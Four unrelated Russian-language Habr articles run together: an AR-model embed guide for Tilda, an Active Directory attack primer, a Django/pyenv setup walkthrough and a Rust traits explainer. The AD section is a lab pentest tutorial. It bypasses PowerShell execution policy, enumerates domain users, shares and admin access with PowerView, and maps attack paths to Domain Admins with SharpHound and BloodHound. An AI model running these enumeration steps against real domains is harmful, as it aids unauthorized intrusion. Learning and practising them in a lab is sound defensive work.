Итак начнём. И сначала нам нужна usdz. В честь Хэллоуина я подготовил такую [симпатичную тыкву с turbosquid](https://www.turbosquid.com/ru/3d-models/halloween-pumpkin-model-1812374). Дальше, так как тильда не умеет хранить файлы, то нам нужно какое-то хранилище. Для начала попробуем взять Google Drive.
Прямое скачивание с Google Drive
--------------------------------
У ссылок гугл диска на самом деле довольно много прикольных функций, одна из которых возможность сделать файл просто "скачиваемым по прямой ссылке".
Формат обычной гугл ссылки, когда вы хотите поделиться чем-то с диска, можно представить как *https://drive.google.com/file/d/****{file\_id}****/view?usp=share\_link* из которого нам потребуется *file\_id.*
Ссылка для прямого скачивания формируется как *https://drive.google.com/uc?export=download&id=****{file\_id}.***
Например ссылка на нашу usdz <https://drive.google.com/file/d/1XZjmyYpZF1425p3LK2nPz4HBgN83gdo1/view?usp=share_link> превратится в <https://drive.google.com/uc?export=download&id=1XZjmyYpZF1425p3LK2nPz4HBgN83gdo1>.
HTML вставка для USDZ в Tilda
-----------------------------
А теперь пока вспоминать классику. Фреймворки всех расслабили, вспомним какого это писать в блокноте и напишем простенький скрипт, стиль и html.
USDZ HTML вставка
```
[
Посмотреть](https://drive.google.com/uc?export=download&id=1XZjmyYpZF1425p3LK2nPz4HBgN83gdo1)
.App-mobile{
text-align: center;
width: 100vw;
height: 100vh;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
overflow: hidden;
}
.App-ar-icon{
height: 25px;
padding-right: 10px;
}
.App-mobile-preview{
height: 50vh;
margin-bottom: 0px;
}
```
И получаем какой-то такой результат:
AR работает, всё прекрасно. Стили можно написать такие, которые лучше подходят вам поправив CSS с IOS мы разобрались.
**Из важных нюансов:** в теге есть атрибут **rel="ar"** и он важен для того, чтобы мобильное сафари распознало вашу USDZ. Без него файл с диска в целом работать не будет, а с любого другого хостинга будет открываться в дополнительном окне, где будет светиться домен хостинга. Если же этот атрибут добавлен, то сафари понимает что это превью AR объекта и сразу открывает Quick Look.
glTF и Scene Viewer
-------------------
Чтож, с айос разобрались. Начнём разбираться с Android. Для начала разберёмся, что такое **glTF.**
**glTF** — формат файла для хранения трёхмерных сцен. Бывает с двумя расширениями *.glb* — бинарный формат и *.glTF* — текстовый формат (JSON-like). Поддерживает анимации.
В отличии от usdz не поддерживает официально звуки. Да и в целом в разы проще и ограниченнее чем usdz.
[Scene Viewer](https://developers.google.com/ar/develop/scene-viewer) в свою очередь — это технология гугла позволяющая открывать модели в дополненной реальности так же на уровне операционной системы. Поддерживает модели формата glTF и работает на всех устройствах с поддержкой ARCore. Позволяет разместить 3д модель с анимацией в вашем приложении или же на сайте и открыть её в AR без разработки своего приложения или интеграции сложных технологий.
По сути главным недостатком и Scene Viewer и AR Quick Look является невозможность заложить в них интерактивную механику.
HTML вставка c glTF в Tilda
---------------------------
Тут стоит сразу сказать, что через гугл диск уже не получится. Почему-то Scene Viewer не умеет грузить модели по ссылкам с гугл диска и выдаёт ошибку. Так что модель потребуется где-то хостить. У меня много серверов по различным проектам, что мы делаем, так что я просто разместил на сервере свой страницы.
В результате финальная вставка будет выглядеть как-то так:
HTML вставка с glTF и USDZ
```
var preview\_source = "https://drive.google.com/uc?export=download&id=1rzI0Idh-ytlk3l5\_7nKX1AnrPlms5bZp";
var usdz\_url = "https://drive.google.com/uc?export=download&id=1XZjmyYpZF1425p3LK2nPz4HBgN83gdo1";
var glb\_url = "https://noxatra.ru/experiments/usdz-glb-test/ppkin.glb";
var isMobile = {
Android: function () {
return navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/Miui/i);
},
BlackBerry: function () {
return navigator.userAgent.match(/BlackBerry/i);
},
iOS: function () {
return navigator.userAgent.match(/iPhone|iPad|iPod/i);
},
Opera: function () {
return navigator.userAgent.match(/Opera Mini/i);
},
Windows: function () {
return navigator.userAgent.match(/IEMobile/i) || navigator.userAgent.match(/WPDesktop/i);
},
any: function () {
return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows());
}
}
function OpenUrl() {
window.open(model\_url);
};
let content = "";
let icon = "<img src='https://drive.google.com/uc?export=download&id=1QIDYd6xRp-k10WBAXZ-UZx3zdw2hdaP1' class='App-ar-icon' />";
if(isMobile.iOS()){
content = "<div>" +
"<a href="+ usdz\_url + " rel='ar' class='App-mobile'>" +
"<img src='" + preview\_source + "' class='App-mobile-preview' />" +
"<button>" +
icon +
"Посмотреть" +
"</button>" +
"</a>" +
"</div>";
}
else{
if(isMobile.Android()){
console.log(glb\_url)
var model\_url = "intent://arvr.google.com/scene-viewer/1.0?file=" +
glb\_url +
"#Intent;scheme=https;package=com.google.android.googlequicksearchbox;action=android.intent.action.VIEW;S.browser\_fallback\_url=https://developers.google.com/ar;end;";
content = "<div class='App-mobile'>" +
"<img src=" + preview\_source + " class='App-mobile-preview'/>" +
"<button onClick='OpenUrl()'>" +
icon +
"Посмотреть" +
"</button>" +
"</div>"
}
}
document.getElementById('usdz-glb-container').innerHTML = content;
button{
background-color: white;
display: flex;
justify-content: space-between;
align-items: center;
text-decoration: none;
padding: 20px;
font-weight: bold;
border: 1px solid #c4c4c4;
border-radius: 30px;
box-shadow: 0px 2px 5px #c4c4c4;
}
button:hover{
background-color: #c4c4c4;
color: white;
}
button:focus{
background-color: #c4c4c4;
color: white;
}
.App-mobile{
text-align: center;
width: 100vw;
height: 100vh;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
overflow: hidden;
}
.App-ar-icon{
height: 25px;
padding-right: 10px;
}
.App-mobile-preview{
height: 50vh;
margin-bottom: 0px;
}
```
В первом теге | https://habr.com/ru/post/696300/ | null | ru | null |
# Основы атак на Active Directory
По мере роста организации за счет увеличения числа сотрудников, необходимых для поддержки повседневных бизнес-функций, также увеличивается количество устройств, подключенных к сети организации. Несмотря на то, что организация небольшая, в сети очень мало пользователей и компьютеров, и не всегда требуется выделенная ИТ-команда. Самое главное, поскольку в небольшой компании очень мало пользователей, ИТ-специалист может легко создать локальную учетную запись пользователя в каждой системе для каждого сотрудника. Однако по мере увеличения количества пользователей и устройств до средних или крупных организаций создание локальных учетных записей для каждого пользователя на устройстве становится неэффективным.
Сервер Windows, на котором установлена и настроена Active Directory, называется контроллер домена, просто потому, что он позволяет ИТ-специалистам контролировать все, что находится в его домене. Это означает, что вместо создания учетной записи пользователя на каждом компьютере в сети Active Directory позволяет создавать учетную запись пользователя на контроллере домена, назначать пользователей в группы безопасности и даже создавать Объект групповой политики (Group Policy Object) для назначения политик безопасности пользователям и группам в домене. Когда пользователь пытается войти в домен, хост отправляет имя пользователя домена и New Technology LAN Manager (NTLM) хэш версии 2, пароль пользователя к контроллеру домена во время процесса проверки подлинности. Контроллер домена определит, действительны ли учетные данные пользователя, ответит узлу в домене и определит политики безопасности, применяемые к пользователю. Это означает, что пользователь с действительной учетной записью может войти на любое устройство в сети, если это разрешено политикой безопасности, применяемой к учетной записи пользователя домена.
Когда локальная учетная запись пользователя создается в операционной системе Windows 10, учетные данные пользователя сохраняются в Security Account Manager (SAM) в C:\Windows\System32\config. Имя пользователя хранится в виде открытого текста, а пароль
преобразуется в хеш NTLM версии 1 и также сохраняется в файле SAM. Однако, когда пользователь пытается пройти аутентификацию на узле в домене, узел отправляет доменное имя пользователя и хэш пароля NTLM версии 2 на контроллер домена, используя Lightweight Directory Access Protocol (LDAP) по умолчанию — небезопасный протокол каталогов, который используется для выполнения запросов к серверу каталогов, например к контроллеру домена в сети.
Active Directory позволяет использовать следующие функции управления и безопасности:
• Управление профилями пользователей на клиентах и серверах в домене.
• Управление сетевой информацией и конфигурациями.
• Централизованное управление политиками безопасности для пользователей, групп и устройств в домене.
• Конфигурации и политики реестра клиентов.
Перечисление Active Directory
-----------------------------
Перечисление позволяет собрать конфиденциальную информацию обо всех объектах, пользователях, устройствах и политиках во всем домене Active Directory. Такая информация даст представление о том, как организация использует Active Directory для управления своим доменом. Вы также сможете получить четкое представление о том, как использовать доверие между клиентами домена, пользователями и контроллером домена для компрометации домена Active Directory организации.
Работа с Power View
-------------------
PowerView— это очень мощный инструмент PowerShell, который позволяет специалистам по тестированию на проникновение получить всестороннее представление о домене и лесе Active Directory организации. Инструмент PowerView использует собственный код PowerShell (с некоторыми изменениями) для лучшей работы с Active Directory и использование PowerView значительно улучшит процесс перечисления в Active Directory.
В дальнейших примерах будут использованы виртуальные машины Kali Linux, Bob-PC, Alice-PC и Windows Server 2019, объединённые в один домен.
Теперь запускаем Kali Linux, открываем терминал и используем следующие команды,
чтобы загрузить инструменты PowerSploit, включая PowerView, и включить веб-сервер Python3:
`kali@kali:~$ git clone https://github.com/PowerShellMafia/PowerSploit
kali@kali:~$ cd PowerSploit/Recon
kali@kali:~/PowerTools/PowerView$ python3 -m http.server 8080`
Далее входим на Bob-PC используя учетную запись пользователя домена, открываем браузер и переходим к http://:8080 для доступа к веб-серверу Python3. Отсюда загрузите PowerView.ps1 файл на клиентский компьютер с Windows 10:
Затем открываем Командную строку с привилегиями администратора, переходим в директорию Загрузки и отключаем политику выполнения PowerShell:
`C:\Windows\system32> cd C:\Users\bob.REDTEAMLAB\Downloads
C:\Users\bob.REDTEAMLAB\Downloads> powershell -ExecutionPolicy bypass`
Затем используйте следующую команду, чтобы включить использование PowerView с Powershell:
`PS C:\Users\bob.REDTEAMLAB\Downloads> . .\PowerView.ps1`
(Между обеими точками в предыдущей команде есть пробел).
Чтобы получить информацию о вашем текущем домене, используйте следующую команду:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-NetDomain`
Как показано ниже, имя хоста и контроллера домена было изменено.
 Получение сведений о текущем доменеЧтобы получить **Идентификатор безопасности (SID)** текущего домена используйте следующую команду:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-DomainSID`
S-1-5-21-634716346-3108032190-2057695417
Чтобы получить **список доменных политик** текущего домена:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-DomainPolicy`
Как видите, доступ к системе а также KerberosPolicy были полученыДля получения **идентификатора контроллера домена** в текущем домене, используйте следующую команду:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-NetDomainController`И как показано ниже, были получены сведения о контроллере домена, такие как его операционная система, имя хоста и IP-адреса:
Получение сведений о контроллере доменаЧтобы получить **список всех пользователей** в текущем домене, используйте следующую команду:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-NetUser`
Как показано ниже, извлекаются учетные записи всех пользователей домена и их данные:
Получение учетных записей пользователейДля получения **списка всех учетных записей** компьютеров в текущем домене:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-NetComputer`
Чтобы получить все общие файловые ресурсы на всех устройствах в текущем домене, используйте следующую команду:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Invoke-ShareFinder -Verbose`
Для списка всех **объектов групповой политики** из текущего домена используйте:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-NetGPO`
Чтобы получить конкретные **сведения о текущем "лесе"**, используется следующая команда:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-NetForest`
Чтобы получить все **домены в текущем "лесу"**, используйте следующую команду:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-NetForestDomain`
Чтобы получить все **глобальные каталоги** для текущего "леса", содержащие информацию
обо всех объектах в каталоге:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Get-NetForestCatalog`
Чтобы обнаружить все устройства, на которых **текущий пользователь имеет права** локального администратора в текущем домене:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Find-LocalAdminAccess -Verbose`
 Обнаружение систем с локальным доступом администратораНу а для обнаружения всех учетных записей локальных администраторов на всех компьютерах текущего домена:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Invoke-EnumerateLocalAdmin -Verbose`
С помощью выше приведенных команд, мы узнали, как использовать PowerView для получения конфиденциальной информации из Active Directory. Использование собранной информации поможет вам идентифицировать и сопоставить пользователей, политики, устройства и контроллер домена с доменом, а также даст вам лучшее представление о пути атаки для взлома домена.
Bloodhound
----------
Bloodhound - это приложение для визуализации данных Active Directory, которое помогает пентестерам эффективно определять пути атаки, чтобы получить контроль над доменом и лесом Windows Active Directory. В целом, данные в Active Directory могут быть получены от
SharpHound или AzureHound. После того, как данные были собраны, они должны быть обработаны Bloodhound, для обеспечения пути атаки и для захвата домена внутри организации.
Для начала установим в Kali linux Bloodhound:
`kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install bloodhound`и запустим в консоли neo4j `kali@kali:~$ sudo neo4j console`Как только neo4j запустится, откройте веб-браузер и перейдите в http://localhost:7474/
Далее введите новый пароль и нажмите: Изменить пароль
После того, как пароль был успешно изменен, можно закрыть браузер.
Теперь откройте новый терминал в Kali Linux и используйте следующую команду для запуска
Bloodhound:
`kali@kali:~$ sudo bloodhound`Когда Bloodhound запустится, введите в него данные пользователя для входа:
Далее скачаем SharpHound на клиентский компьютер Bob-PC в домене Active Directory. Для этого перейдите в <https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/>
SharpHound.ps1 и скачайте файл.
Далее на Bob-PC откройте командную строку с правами администратора и отключите политику выполнения PowerShell:
`C:\Windows\system32> cd C:\Users\bob.REDTEAMLAB\Downloads
C:\Users\bob.REDTEAMLAB\Downloads> powershell -ExecutionPolicy bypass`Далее выполняем скрипт SharpHound:
`PS C:\Users\bob.REDTEAMLAB\Downloads> . .\SharpHound.ps1`
(также напоминаю, что перед точками пробелы)
Теперь используйте следующею команду, чтобы извлечь данные Active Directory из домена и сохранить их в ZIP-файле на локальном компьютере:
`PS C:\Users\bob.REDTEAMLAB\Downloads> Invoke-Bloodhound -CollectionMethod All -Domain redteamlab.local -ZipFileName redteamlab.zip`
Извлеченные данные Active DirectoryКак видим, что ZIP-файл был создан и сохранен. Теперь скопируйте папку ZIP в Kali Linux, и в Bloodhound на правой панели инструментов нажмите Upload Data ,чтобы загрузить папку ZIP. Обработка всех данных займет некоторое время.
Просмотр информации о базе данных
После обработки данных в левой части Bloodhound щелкните значок меню и выберите Database Info для просмотра общих сведений о домене Active Directory:
Bloodhound содержит предварительные аналитические запросы, которые помогут вам лучше визуализировать пути атаки в домене Active Directory. Нажмите на Analysis для просмотра готовых шаблонов:
Нажмите на Find all Domain Admins (Найти всех администраторов домена) и перейдете на путь атаки для администраторов домена:
Просмотр путей атаки администратора доменаДалее нажмите Find Shortest Paths to Domain Admins (Поиск кратчайших путей к администраторам домена) для просмотра возможных путей атаки:
 | https://habr.com/ru/post/681204/ | null | ru | null |
# Пример запуска Django 1.7.4 под Python 3.4.2 на Ubuntu 14.04
Всем привет.
В данном примере я покажу один из способов запуска актуальной версии Django под свежим Python.
[Python 3.4.2 | Release Date: 2014-10-13](https://www.python.org/downloads/release/python-342/)
[Django 1.7.4 | January 27, 2015](https://docs.djangoproject.com/en/1.7/releases/1.7.4/)
Будут использованы [virtualenvwrapper](https://virtualenvwrapper.readthedocs.org/en/latest/) и [pyenv](https://github.com/yyuu/pyenv):
— virtualenvwrapper будет работать с «системным» python2
— используем pyenv для установки последней версии Python
— используем virtualenvwrapper для создания виртуального окружения с последней версей Python «внутри»
Информация про систему
----------------------
Запуск будет производится на Ubuntu 14.04.1 LTS:
```
devel787@vbox64:~$ uname -a
Linux vbox64 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:36:28 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
devel787@vbox64:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
```
После установки Ubuntu по умолчанию доступен bash:
```
devel787@vbox64:~$ echo $SHELL
/bin/bash
devel787@vbox64:~$ bash --version
GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)
```
Также по умолчанию сразу предустановлены 2 версии Python:
```
devel787@vbox64:~$ python --version
Python 2.7.6
devel787@vbox64:~$ python3 --version
Python 3.4.0
```
Установка virtualenvwrapper
---------------------------
virtualenvwrapper представляет из себя удобную обёртку вокруг virtualenv.
Для установки virtualenvwrapper необходимо выполнить некоторые действия.
Получаем новые списки пакетов Ubuntu:
```
devel787@vbox64:~$ sudo apt-get update
```
Устанавливаем pip:
```
devel787@vbox64:~$ sudo apt-get install python-pip
```
Устанавливаем virtualenvwrapper:
```
devel787@vbox64:~$ sudo pip install virtualenvwrapper
```
Настраиваем virtualenvwrapper:
```
devel787@vbox64:~$ echo '' >> ~/.bashrc
devel787@vbox64:~$ echo '# virtualenvwrapper' >> ~/.bashrc
devel787@vbox64:~$ echo 'export WORKON_HOME=$HOME/.virtualenvs' >> ~/.bashrc
devel787@vbox64:~$ echo 'export PROJECT_HOME=$HOME/vwrapperhome' >> ~/.bashrc
devel787@vbox64:~$ echo 'source /usr/local/bin/virtualenvwrapper.sh' >> ~/.bashrc
devel787@vbox64:~$ echo '' >> ~/.bashrc
```
Создаём папку для PROJECT\_HOME из настроек выше:
```
devel787@vbox64:~$ mkdir ~/vwrapperhome
```
Применяем настройки:
```
devel787@vbox64:~$ source ~/.bashrc
```
Теперь у нас должны быть доступны команды virtualenvwrapper, например:
```
devel787@vbox64:~$ workon
devel787@vbox64:~$ virtualenvwrapper
```
Установка pyenv
---------------
pyenv представляет из себя удобную утилиту для управления версиями Python.
Для установки pyenv необходимо выполнить некоторые действия.
Устанавливаем нужные зависимости:
```
devel787@vbox64:~$ sudo apt-get install make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm
```
Устанавливаем git:
```
devel787@vbox64:~$ sudo apt-get install git
```
Устанавливаем pyenv:
```
devel787@vbox64:~$ cd
devel787@vbox64:~$ git clone git://github.com/yyuu/pyenv.git .pyenv
```
Настраиваем pyenv:
```
devel787@vbox64:~$ echo '' >> ~/.bashrc
devel787@vbox64:~$ echo '# pyenv' >> ~/.bashrc
devel787@vbox64:~$ echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
devel787@vbox64:~$ echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
devel787@vbox64:~$ echo 'eval "$(pyenv init -)"' >> ~/.bashrc
devel787@vbox64:~$ echo '' >> ~/.bashrc
```
Применяем настройки:
```
devel787@vbox64:~$ exec $SHELL
```
Теперь у нас должны быть доступны команды pyenv, например можно посмотреть версию утилиты:
```
devel787@vbox64:~$ pyenv --version
pyenv 20150204
```
Установка Python 3.4.2
----------------------
pyenv предоставляет возможность установить много разных версий Python.
**Для просмотра всех доступных версий необходимо выполнить:**
```
devel787@vbox64:~$ pyenv install --list
Available versions:
2.1.3
2.2.3
2.3.7
2.4
2.4.1
2.4.2
2.4.3
2.4.4
2.4.5
2.4.6
2.5
2.5.1
2.5.2
2.5.3
2.5.4
2.5.5
2.5.6
2.6.6
2.6.7
2.6.8
2.6.9
2.7-dev
2.7
2.7.1
2.7.2
2.7.3
2.7.4
2.7.5
2.7.6
2.7.7
2.7.8
2.7.9
3.0.1
3.1-dev
3.1.3
3.1.4
3.1.5
3.2-dev
3.2
3.2.1
3.2.2
3.2.3
3.2.4
3.2.5
3.2.6
3.3.0
3.3-dev
3.3.1
3.3.2
3.3.3
3.3.4
3.3.5
3.3.6
3.4.0
3.4-dev
3.4.1
3.4.2
3.5-dev
anaconda-1.4.0
anaconda-1.5.0
anaconda-1.5.1
anaconda-1.6.0
anaconda-1.6.1
anaconda-1.7.0
anaconda-1.8.0
anaconda-1.9.0
anaconda-1.9.1
anaconda-1.9.2
anaconda-2.0.0
anaconda-2.0.1
anaconda-2.1.0
anaconda3-2.0.0
anaconda3-2.0.1
anaconda3-2.1.0
ironpython-dev
ironpython-2.7.4
ironpython-2.7.5
jython-dev
jython-2.5.0
jython-2.5-dev
jython-2.5.1
jython-2.5.2
jython-2.5.3
jython-2.5.4-rc1
jython-2.7-beta1
jython-2.7-beta2
jython-2.7-beta3
miniconda-2.2.2
miniconda-3.0.0
miniconda-3.0.4
miniconda-3.0.5
miniconda-3.3.0
miniconda-3.4.2
miniconda-3.7.0
miniconda3-2.2.2
miniconda3-3.0.0
miniconda3-3.0.4
miniconda3-3.0.5
miniconda3-3.3.0
miniconda3-3.4.2
miniconda3-3.7.0
pypy-c-jit-latest
pypy-c-nojit-latest
pypy-dev
pypy-1.5-src
pypy-1.5
pypy-1.6
pypy-1.7-dev
pypy-1.7
pypy-1.8-dev
pypy-1.8
pypy-1.9-dev
pypy-1.9
pypy-2.0-dev
pypy-2.0-src
pypy-2.0
pypy-2.0.1-src
pypy-2.0.1
pypy-2.0.2-src
pypy-2.0.2
pypy-2.1-src
pypy-2.1
pypy-2.2-src
pypy-2.2
pypy-2.2.1-src
pypy-2.2.1
pypy-2.3-src
pypy-2.3
pypy-2.3.1-src
pypy-2.3.1
pypy-2.4.0-src
pypy-2.4.0
pypy-2.4-beta1-src
pypy-2.4-beta1
pypy-2.5.0-src
pypy-2.5.0
pypy3-dev
pypy3-2.3.1-src
pypy3-2.3.1
pypy3-2.4.0-src
pypy3-2.4.0
stackless-dev
stackless-2.7-dev
stackless-2.7.2
stackless-2.7.3
stackless-2.7.4
stackless-2.7.5
stackless-2.7.6
stackless-2.7.7
stackless-2.7.8
stackless-3.2-dev
stackless-3.2.2
stackless-3.2.5
stackless-3.3-dev
stackless-3.3.5
stackless-3.4.1
```
Устанавливаем Python 3.4.2:
```
devel787@vbox64:~$ pyenv install 3.4.2 -v
```
Выполняем 'rehash' (Rebuild the shim binaries. You should do this any time you install a new Python binary):
```
devel787@vbox64:~$ pyenv rehash
```
Для просмотра установленных версий Python необходимо выполнить:
```
devel787@vbox64:~$ pyenv versions
* system (set by /home/devel787/.pyenv/version)
3.4.2
```
Создание виртуального окружения
-------------------------------
Теперь можно создать виртуальное окружение на базе Python 3.4.2.
По умолчанию бинарный файл Python 3.4.2 будет доступен в '~/.pyenv/versions/':
```
devel787@vbox64:~$ ls -lahF ~/.pyenv/versions/3.4.2/bin/python
lrwxrwxrwx 1 devel787 devel787 9 Feb 10 16:24 /home/devel787/.pyenv/versions/3.4.2/bin/python -> python3.4*
```
Создаём виртуальное окружение (и сразу оказываемся “внутри” него):
```
devel787@vbox64:~$ mkvirtualenv -p ~/.pyenv/versions/3.4.2/bin/python polls174-py342-venv
```
Проверяем версию Python:
```
(polls174-py342-venv)devel787@vbox64:~$ python --version
Python 3.4.2
```
Для выхода из виртуального окружения необходимо выполнить:
```
(polls174-py342-venv)devel787@vbox64:~$ deactivate
```
Для просмотра всех виртуальных окружений необходимо выполнить:
```
devel787@vbox64:~$ workon
polls174-py342-venv
```
Попасть “обратно” в виртуальное окружение можно выполнив:
```
devel787@vbox64:~$ workon polls174-py342-venv
```
Запуск Django 'polls' app
-------------------------
Для демонстрации работоспособности Django 1.7.4 под Python 3.4.2 запустим Django 'polls' app из [Django Tutorial](https://docs.djangoproject.com/en/1.7/intro/tutorial01/).
Я создал репозиторий, который содержит выполненный Django Tutorial и файл 'requirements.txt'.
Перейдём в папку для PROJECT\_HOME из настроек выше:
```
(polls174-py342-venv)devel787@vbox64:~$ cd ~/vwrapperhome/
```
«Склонируем» себе репозиторий, который содержит выполненный Django Tutorial:
```
(polls174-py342-venv)devel787@vbox64:~/vwrapperhome$ git clone https://github.com/devel787/polls174.git
```
Перейдём в папку с проектом:
```
(polls174-py342-venv)devel787@vbox64:~/vwrapperhome$ cd polls174/
```
«Закрепим» папку проекта за нашим виртуальным окружением (при активации окружения мы будем попадать в эту папку):
```
(polls174-py342-venv)devel787@vbox64:~/vwrapperhome/polls174$ setvirtualenvproject
Setting project for polls174-py342-venv to /home/devel787/vwrapperhome/polls174
```
Установим Django 1.7.4:
```
(polls174-py342-venv)devel787@vbox64:~/vwrapperhome/polls174$ pip install -r requirements.txt
```
Запустим тесты:
```
(polls174-py342-venv)devel787@vbox64:~/vwrapperhome/polls174$ python manage.py test
```
Запустим сервер для разработки:
```
(polls174-py342-venv)devel787@vbox64:~/vwrapperhome/polls174$ python manage.py runserver
```
Теперь можно перейти по ссылке
<http://127.0.0.1:8000/polls/>
и увидеть результаты работы данного примера.
Для /admin/ Username == Password == 'admin'.
Литература
----------
[Virtual Environments | The Hitchhiker's Guide to Python](http://docs.python-guide.org/en/latest/dev/virtualenvs/)
[virtualenvwrapper | Installation](http://virtualenvwrapper.readthedocs.org/en/latest/install.html)
[pyenv | Installation](https://github.com/yyuu/pyenv#installation)
[Blast into PyEnv [18 сентября 2014]](http://oblalex.blogspot.com/2014/09/blast-into-pyenv.html)
[Building Python on Ubuntu with pyenv [02 марта 2014]](http://davebehnke.com/python-pyenv-ubuntu.html)
[Менеджер версий python [25 ноября 2013]](http://habrahabr.ru/post/203516/)
[Мульти-хостинг django приложений с помощью nginx + uwsgi + virtualenv [15 мая 2013]](http://habrahabr.ru/post/179831/)
[Writing your first Django app, part 1](https://docs.djangoproject.com/en/1.7/intro/tutorial01/) | https://habr.com/ru/post/250433/ | null | ru | null |
# Абстракции без накладных расходов: типажи в Rust
В [предыдущем посте](http://habrahabr.ru/post/256211/) ([англ.](http://blog.rust-lang.org/2015/04/10/Fearless-Concurrency.html)) мы затронули два столпа дизайна Rust (поскольку во внутренней речи я постоянно склоняю название языка, дальше я буду использовать русскоязычное название «раст», что мне кажется более органичным — прим. перев.):
* безопасное использование памяти без сборщика мусора,
* многопоточность без гонок данных.
Этот пост начинает рассказ о третьем столпе:
* **абстракции без накладных расходов.**
Одна из мантр C++, которая делает его таким подходящим для системного программирования — принцип абстракции с нулевой стоимостью:
> Реализации C++ подчиняются принципу нулевой стоимости: ты не платишь за то, что не используешь [Страуструп, 1994]. Более того: то, что ты используешь, кодируется наилучшим образом.
>
>
>
> – Бьёрн Страуструп
>
>
Эта мантра не всегда подходила расту, который когда-то имел обязательный сборщик мусора. Но через какое-то время амбиции раста стали более низкоуровневыми, так что сейчас абстракции с нулевой стоимостью — основной принцип языка.
Центральное понятие абстракции в расте — типажи (traits).
* **Типажи в расте играют роль интерфейса.** Типаж могут реализовывать несколько типов, а новые типажи могут предоставлять реализации для существующих типов. С другой стороны, если вы хотите абстрагироваться от неизвестного типа, типажи дают возможность указать конкретные требования к этому типу, определяющие ожидаемое от него поведение.
* **К типажам может применяться статическая диспетчеризация.** Как и с шаблонами в C++, компилятор может сгенерировать реализацию абстракции для каждого случая её использования. Возвращаясь к мантре C++ — «то, что ты используешь, кодируется наилучшим образом» — абстракция полностью удаляется из скомпилированного кода.
* **К типажам может применяться и динамическая диспетчеризация.** Иногда вам действительно нужна косвенная адресация, так что нет смысла «удалять» абстракцию из скомпилированного кода. То же самое представление интерфейса — типаж — может быть использовано для диспетчеризации во время выполнения программы.
* **Типажи решают множество разнообразных проблем помимо простого абстрагирования.** Они используются как «маркеры» для типов, например маркер `Send`, описанный в [предыдущем посте](http://habrahabr.ru/post/256211/). Они же используются для объявления «дополнительных методов», то есть, чтобы добавить новые методы к уже определённому где-то типу. Они заменяют собой традиционную перегрузку методов. А ещё они предоставляют простой способ перегрузки операторов.
Учитывая всё выше сказанное, система типажей — секретное оружие, которое даёт расту эргономику и выразительность высокоуровневых языков, сохраняя низкоуровневый контроль над выполнением кода и представлением данных.
Этот обзорный пост, без погружения в детали, пройдётся по каждому указанному пункту, давая представление о том, как этот подход позволяет достигнуть указанных целей.
#### Основа: методы в расте
Перед погружением в типажи, мы рассмотрим маленькую, но очень важную деталь языка: разницу между методом и функцией.
В расте есть как методы, так и самостоятельные функции, и они тесно связаны друг с другом:
```
struct Point {
x: f64,
y: f64,
}
// a free-standing function that converts a (borrowed) point to a string
fn point_to_string(point: &Point) -> String { ... }
// an "inherent impl" block defines the methods available directly on a type
impl Point {
// this method is available on any Point, and automatically borrows the
// Point value
fn to_string(&self) -> String { ... }
}
```
Методы, наподобие `to_string`, называются «собственными» потому, что они:
* привязаны к конкретному типу «self» (указанному в заголовке блока `impl`),
* автоматически доступны для всех значений этого типа, то есть, в отличие от функций, собственные методы всегда «в области видимости».
Первый параметр метода всегда явно указан в виде «self», и может быть `self`, `&mut self`, либо `&self` — в зависимости от требуемого [уровня владения](http://blog.skylight.io/rust-means-never-having-to-close-a-socket/) (может ещё быть `mut self`, но по отношению к владению это то же самое, что и `self` — прим. перев.). Методы вызываются с использованием точки (`.`), как в обычном ООП, а параметр self неявно заимствуется, если того требует сигнатура метода:
```
let p = Point { x: 1.2, y: -3.7 };
let s1 = point_to_string(&p); // calling a free function, explicit borrow
let s2 = p.to_string(); // calling a method, implicit borrow as &p
```
Методы и авто-заимствование — важные аспекты эргономичности раста, поддерживающие простоту API, например интерфейса создания процесса:
```
let child = Command::new("/bin/cat")
.arg("rusty-ideas.txt")
.current_dir("/Users/aturon")
.stdout(Stdio::piped())
.spawn();
```
#### Типажи как интерфейс
Интерфейсы описывают ожидания одного кода по отношению к другому, позволяя каждой из частей изменяться независимо друг от друга. В случае типажей это описание вертится вокруг методов.
Возьмём, например, следующий простой типаж, описывающий хеширование:
```
trait Hash {
fn hash(&self) -> u64;
}
```
Чтобы реализовать этот типаж для какого-либо типа, мы должны написать метод `hash` с соответствующей сигнатурой:
```
impl Hash for bool {
fn hash(&self) -> u64 {
if *self { 0 } else { 1 }
}
}
impl Hash for i64 {
fn hash(&self) -> u64 {
*self as u64
}
}
```
В отличие от интерфейсов в таких языках, как Java, C# или Scala, **новые типажи могут быть реализованы для уже существующих типов** (как в случае с `Hash` в последнем примере). То есть абстракции могут быть созданы по необходимости, а затем применены к уже существующим библиотекам.
В отличие от собственных методов, методы типажей находятся в области видимости только тогда, когда их типаж в области видимости. Но если предположить, что типаж `Hash` уже находится в нашей области видимости, вы можете написать `true.hash()`. Таким образом, реализация типажа расширяет набор методов, доступный для данного типа.
